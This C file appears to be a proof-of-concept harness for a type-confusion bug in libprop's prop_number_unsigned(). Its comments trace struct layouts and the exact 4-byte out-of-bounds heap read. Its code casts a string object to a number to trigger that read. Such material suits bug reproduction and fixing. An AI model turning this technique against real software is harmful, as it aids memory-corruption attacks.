DF-5682 / typeconf.c
/* * DF-5682 — typeconf.c * * prop_number_unsigned() (sys/libprop/prop_number.c:379-384) is the only * prop_number accessor that does NOT validate its argument with * prop_object_is_number() before touching pn->pn_value. Layout: * * struct _prop_number : 16 (po) + 24 (rb_node) = offset 40 -> pn_value * struct _prop_string : 16 (po) + 8 (ptr) + 8 (size_t) + 4 (int) = 40 * * so reading pn_value.pnv_is_unsigned (bitfield word at +40..43) on a * prop_string_t reads 4 bytes ENTIRELY past the 40-byte heap allocation. * Every sibling accessor (prop_number_integer_value :432, * prop_number_unsigned_integer_value :450, prop_number_size :396, * prop_number_copy :364, prop_number_equals_* :477/:496) has the guard. * * The library this harness links against is built (see build.sh) from the * guest's /usr/src/sys/libprop with _PROP_POOL_GET/_PROP_POOL_PUT patched * to place every object allocation flush against a PROT_NONE guard page, * making the out-of-bounds read trap deterministically. */ #include <stdio.h> #include <libprop/prop_string.h> #include <libprop/prop_number.h> int main(void) { prop_string_t st = prop_string_create_cstring("AAAAAAAA"); prop_number_t bogus = (prop_number_t)st; printf("[*] prop_string object (40 bytes) sits flush against a " "PROT_NONE guard page\n"); printf("[*] bitfield read lands at +40..43 => 4 bytes OOB\n\n"); printf("[*] control: guarded prop_number_integer_value(str) ...\n"); fflush(stdout); long long g = (long long)prop_number_integer_value(bogus); printf("[*] -> %lld (no trap: type guard works)\n\n", g); fflush(stdout); printf("[*] probe: UNguarded prop_number_unsigned(str) ...\n"); fflush(stdout); int b = (int)prop_number_unsigned(bogus); printf("[*] -> %d (NO TRAP -- read stayed in bounds?!)\n", b); fflush(stdout); return 0; } |